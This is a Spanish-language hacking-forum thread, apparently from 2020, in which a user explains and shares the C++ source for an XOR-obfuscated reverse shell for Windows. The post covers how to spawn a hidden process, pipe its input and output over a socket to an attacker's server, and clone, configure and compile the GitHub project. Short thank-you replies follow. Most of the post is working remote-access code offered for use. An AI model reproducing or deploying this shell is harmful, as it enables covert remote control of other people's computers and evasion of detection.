Shell inversa "Cifrada" segunda parte (Windows)

Iniciado por d3adly, Julio 05, 2020, 09:14:44 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 05, 2020, 09:14:44 PM Ultima modificación: Julio 06, 2020, 05:17:04 PM por d3adly
Hola comunidad, hoy traigo la segunda parte del post anterior sobre No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, esta vez aplicado a sistemas Windows.

En teoria el proceso es el mismo, a diferencia que ahora no se realiza un duplicado de la imagen del proceso en memoria. Las funciones mas importantes a usar con:

  • No tienes permitido ver los links. Registrarse o Entrar a mi cuenta          - Igual que pipe en linux, crea una tuberia con un extremo de lectura y otro de escritura.
  • No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - Copia y extrae informacion de una tuberia sin modificar su contenido.
  • No tienes permitido ver los links. Registrarse o Entrar a mi cuenta    - Crea un nuevo proceso, lo genial de esta api es que podemos configurar como se va a ejecutar el programa, en este caso, la manipulacion de stdin y stdout/stderr como nos plazca de una manera muy facil.

Como aclare anteriormente es casi el mismo proceso. Primero procedemos a crear las tuberias usando CreatePipe:
Código: cpp

   HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
   stdinRd = stdinWr = stdoutRd = stdoutWr = nullptr;
   
   SECURITY_ATTRIBUTES sa;
   sa.nLength = sizeof(SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor =  nullptr;
   sa.bInheritHandle = true;   //Proceso hijo puede heredar tuberias retornadas por CreatePipe
   if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)){
      //No se pudo crear las tuberias                 
   }

En sistemas windows HANDLE es como decir, un descriptor de archivo en linux fd, se usa para crear archivos, leer y escribir hacia ellos. En este caso haremos uso del mismo para crear tuberias.
La estructura No tienes permitido ver los links. Registrarse o Entrar a mi cuenta contiene la informacion que se le pasara a la funcion CreatePipe, esta estructura decide si un proceso hijo puede heredar o no los HANDLES creados por esta funcion, en este caso las tuberias.
Luego esta la funcion CreatePipe la cual recibe los siguientes parametros:
Código: cpp

BOOL CreatePipe(
  PHANDLE               hReadPipe,          //Extremo de lectura  (stdinRd) 
  PHANDLE               hWritePipe,         //Extremo de escritura (stdinWr)
  LPSECURITY_ATTRIBUTES lpPipeAttributes,   //Estructura con los atributos de seguridad (sa)
  DWORD                 nSize               //Tamaño de la estructura (sizeof(SECURITY_ATTRIBUTES))
);
Extraido de la web de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
La funcion retorna verdadero si se creo la tuberia o falso si sucede un error. Si todo sale bien, hemos creado las siguientes tuberias:

Código: text
stdinRd < === > stdinWr
stdoutRd < === > stdoutWr

Todo lo que se escriba a stdinWr, se puede leer en stdinRd, y es el mismo caso para stdoutRd/stdoutWr.

Luego de crear las tuberias se procede a crear el proceso hijo especificandole que redireccione stdout/stderr a un extremo de escritura de una de las tuberias previamente creadas (stdoutWr):

Código: cpp

   PROCESS_INFORMATION pi;
   STARTUPINFO si;
   GetStartupInfo(&si);
   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.hStdOutput = stdoutWr;
   si.hStdError = stdoutWr;
   si.hStdInput = stdinRd;
   if(CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi) == 0){
      //No se pudo invocar la shell                       
   }


La estructura No tienes permitido ver los links. Registrarse o Entrar a mi cuenta contiene la informacion de como se creara la ventana del nuevo proceso. La funcion No tienes permitido ver los links. Registrarse o Entrar a mi cuenta obtiene una estructura del tipo STARTUPINFO, la cual contiene la informacion que se uso al crear el proceso actual. Se hace uso de la misma para llenar la estructura si (la cual vamos a usar para crear el proceso hijo) y asi modificar solamente las siguientes lineas:

Código: cpp

   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.hStdOutput = stdoutWr;
   si.hStdError = stdoutWr;
   si.hStdInput = stdinRd;

El valor dwFlags contiene la opcion u opciones que se utilizaran en la esctructura:

  • STARTF_USESTDHANDLES    - Redireccionar salida y entrada del programa hacia nuestras tuberias.
  • STARTF_USESHOWWINDOW - Como se va a mostrar la ventana del proceso hijo.
La opcion wShowWindow especifica como se mostrara la ventana del nuevo proceso, en este caso SW_HIDE (Oculta). Luego le siguen las opciones hStdOutput , hStdError y hStdInput las cuales son nuestras tuberias que leeran y escribiran al programa. Entonces las salida y entrada del programa funcionara de la siguiente manera:

  • Todo lo escrito a stdinWr ira a la entrada(stdin) del programa.
  • Todo lo que salga del programa(stdout) lo podemos leer en stdourRd.

Despues se crea el proceso haciendo uso de la funcion CreateProcess:

Código: cpp

CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi)

La cual recibe los siguientes parametros:

Código: cpp

BOOL CreateProcess(
  LPCWSTR pszImageName,
  LPCWSTR pszCmdLine,
  LPSECURITY_ATTRIBUTES psaProcess,
  LPSECURITY_ATTRIBUTES psaThread,
  BOOL fInheritHandles,
  DWORD fdwCreate,
  LPVOID pvEnvironment,
  LPWSTR pszCurDir,
  LPSTARTUPINFOW psiStartInfo,
  LPPROCESS_INFORMATION pProcInfo
);
Extraido de la web de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
En este caso solo nos interesan 5 parametros:

  • pszCmdLine       - Ruta al programa a  ejecutar (programa.exe).
  • fInheritHandles - Especifica si el proceso hijo heredara o no HANDLES creados por el proceso padre (tuberias creadas anteriormente).
  • pvEnvironment  - Especifica el entorno en el cual se creara el nuevo proceso.
  • psiStartInfo       - Informacion con la cual sera creada el proceso (la estructura antes modificada si).
  • pProcInfo           - Puntero a una estructura que recibe la informacion de identificacion del proceso creado.
con las  demas opciones se le pasara como parametro nullptr. Si la funcion se ejecuto correctamente retorna un valor diferente de 0, si retorna este valor significa que hubo un error.

Hasta aqui programa.exe se esta ejecutando oculto, leyendo y escribiendo desde y hacia las tuberias creadas por el proceso padre. Ahora se crean dos hilos para leer y escribir al programa mediante las tuberias, asi logramos control sobre lo que salga y entre al programa para aplicar cualquier tipo de "cifrado", en este ejemplo la vieja confiable XOR:

Código: cpp

//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
   std::string Final = "";
   for(char cD : Data){
      for(char cS : Password){
         cD ^= cS;
      }
      Final.append(1, cD);
   }
   return Final;
}


El hilo el cual escribira al proceso va de la siguiente manera:
Código: cpp

while(EstaCorriendoLaShell){
char buffer[1024];
recv(sckSocket, buffer, 1024, 0);
std::string strCmd = Xor(std::string(buffer));
   DWORD longitud = strCmd.length();
   DWORD bytesEscritos = 0;
if(!WriteFile(stdinWr, strCmd.c_str(), longitud, &bytesEscritos , nullptr)){
//Error escribiendo a la tuberia
EstaCorriendoLaShell = false;
break;
}
}

la funcion No tienes permitido ver los links. Registrarse o Entrar a mi cuenta recibe como primer parametro el HANDLE hacia el cual escribir, en este caso el extremo de escritura de la tuberia (stdinWr), el segundo parametro es la informacion a escribir, la cual es strCmd que previamente se ha "descifrado" con XOR, el tercer parametro es la cantidad de bytes a escribir, el cuarto es un puntero a una variable de tipo DWORD que recibe la cantidad de bytes que se escribieron al HANDLE(stdinWr) y el ultimo le pasamos como parametro nullptr. Si la funcion se ejecuto correctamente el resultado es mayor a 0, si el retorno es este valor, ocurrio un error.

Y por ultimo el hilo que lee del proceso creado va de la siguiente forma:

Código: cpp

while(EstaCorriendoLaShell){
char cBuffer[512];
DWORD bytesLeidos = 0;
if(PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)){
if(bytesLeidos > 0){
ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
} else {
//Todavia no hay nada
Sleep(100);
continue;
}
std::string strCmd = Xor(std::string(cBuffer));
int iLen = strCmd.length();
send(sckSocket, strCmd.c_str(), iLen, 0);
} else {
//PeekNamedPipe error
EstaCorriendoLaShell = false;
break;
}
}

haciendo uso de la funcion previamente explicada PeekNamedPipe que se usa para leer del Pipe/HANDLE especificado(stdoutRd), pero al leer esta funcion no borra nada de la tuberia, es para el simple proposito de darle una "ojeada" (Peek) al HANDLE. Ademas del extremo de la tuberia se le pasa como parametro un puntero al buffer el cual recibira los datos pero en este caso como solo le estamos dando una ojeada se le pasa como parametro nullptr. Tambien recibe como parametro un puntero a una variable que recibira el valor de la cantidad de bytes que se pudieron leer (bytesLeidos). Los demas parametros se quedan en nullptr ya que no se almacenara nada solo es para ver si ya hay datos disponibles para leer.
Si la variable bytesleidos es mayor a cero significa que hay datos y podemos proceder a leer de la tuberia haciendo uso de la funcion ReadFile:

Código: cpp

ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);

esta funcion recibe la misma cantida de parametros que WriteFile, el (HANDLE/Pipe) del cual leer, donde almacenar los datos (cBuffer), cantidad de bytes a leer (512) y un puntero a una variable que recibe la cantidad de bytes leidos. El ultimo parametro al igual que la funcion WriteFile lo dejamos en nullptr. Una vez leidos los datos se "cifran" haciendo uso de XOR y posteriormente los envia al servidor(atacante).

Pues esa es una descripcion (no muy a fondo) del desarollo e implementacion de una shell inversa "cifrada" en sistemas Windows. El proyecto esta alojado en github como: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Y como siempre no puede faltar el mini tutorial:

Clonar:

Código: dos
git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git

O descargar desde aqui : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Luego editar el fichero Windows/Client.cpp y modificar la siguiente linea de la clase:
Código: cpp
std::string strPassword = "$up3rP@sSw0rD";

con cualquier contraseña que se desee. Luego modificar la funcion main:

Código: cpp
if(Cli->Connect("127.0.0.1", "1337")){

con la informacion que utilizara el cliente para conectarse.

Abrir el archivo Windows/Server.cpp y modificar la funcion main:

Código: cpp

Server *Srv = new Server(1337, "$up3rP@sSw0rD");

con el puerto y la contraseña a usar en la comunicacion.

Compilar en el directorio Windows/ con mingw32-make client && mingw32-make server. Luego solo toca correr el servidor y el cliente en otra pc.

Una captura:
         

Espero que les sirva de algo, cualquier duda/aporte/comentario es muy bien recibido. Les deseo un feliz resto del dia ;D

Saludos.


Edit:
Cometi un error en la llamada a la funcion PeekNamedPipe, antes de la variable que recibe la cantidad de bytes leidos, se le debe pasar cuantos bytes se deben leer ya que de lo contrario retornara 0. Si les dio el error de compilacion intercambiar el nullptr antes de la variables que recibe los datos con 512. Asi:

Código: cpp

PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)

O si ya lo clonaron, actualizan con:

Código: dos
git pull


Sinceras disculpas por el error.
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn

Muy buen aporte compañero, muchas gracias por el mismo, lo probaré  :D :D

Saludos!
-Kirari

Julio 05, 2020, 10:02:34 PM #2 Ultima modificación: Julio 05, 2020, 10:05:59 PM por d3adly
Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para mi es un placer  ;D
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn

Está muy bueno @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, cuando saque un tiempo la pruebo. Muchas gracias por tus aportes  ;D

~ DtxdF
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF

Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta  ;D
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn